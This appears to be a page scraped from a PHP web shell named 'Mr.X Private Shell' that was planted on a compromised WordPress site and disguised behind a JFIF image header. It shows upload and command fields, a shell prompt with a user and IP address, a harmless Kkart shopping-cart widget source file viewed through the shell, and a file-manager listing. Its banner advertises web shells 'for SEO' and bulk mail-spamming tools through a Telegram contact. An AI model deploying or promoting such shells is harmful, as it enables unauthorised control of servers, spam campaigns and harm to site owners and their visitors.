����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Shopping Cart Widget.
 *
 * Displays shopping cart widget.
 *
 * @package Kkart\Widgets
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget cart class.
 */
class KKART_Widget_Cart extends KKART_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'kkart widget_shopping_cart';
		$this->widget_description = __( 'Display the customer shopping cart.', 'kkart' );
		$this->widget_id          = 'kkart_widget_cart';
		$this->widget_name        = __( 'Cart', 'kkart' );
		$this->settings           = array(
			'title'         => array(
				'type'  => 'text',
				'std'   => __( 'Cart', 'kkart' ),
				'label' => __( 'Title', 'kkart' ),
			),
			'hide_if_empty' => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Hide if cart is empty', 'kkart' ),
			),
		);

		if ( is_customize_preview() ) {
			wp_enqueue_script( 'kkart-cart-fragments' );
		}

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 *
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( apply_filters( 'kkart_widget_cart_is_hidden', is_cart() || is_checkout() ) ) {
			return;
		}

		$hide_if_empty = empty( $instance['hide_if_empty'] ) ? 0 : 1;

		if ( ! isset( $instance['title'] ) ) {
			$instance['title'] = __( 'Cart', 'kkart' );
		}

		$this->widget_start( $args, $instance );

		if ( $hide_if_empty ) {
			echo '<div class="hide_cart_widget_if_empty">';
		}

		// Insert cart widget placeholder - code in kkart.js will update this on page load.
		echo '<div class="widget_shopping_cart_content"></div>';

		if ( $hide_if_empty ) {
			echo '</div>';
		}

		$this->widget_end( $args );
	}
}

Filemanager

Name Type Size Permission Actions
class-kkart-widget-cart.php File 1.73 KB 0644
class-kkart-widget-layered-nav-filters.php File 4.43 KB 0644
class-kkart-widget-layered-nav.php File 16.85 KB 0644
class-kkart-widget-price-filter.php File 6.83 KB 0644
class-kkart-widget-product-categories.php File 8.45 KB 0644
class-kkart-widget-product-search.php File 1006 B 0644
class-kkart-widget-product-tag-cloud.php File 2.84 KB 0644
class-kkart-widget-products.php File 5.94 KB 0644
class-kkart-widget-rating-filter.php File 4.33 KB 0644
class-kkart-widget-recent-reviews.php File 2.19 KB 0644
class-kkart-widget-recently-viewed.php File 2.84 KB 0644
class-kkart-widget-top-rated-products.php File 2.59 KB 0644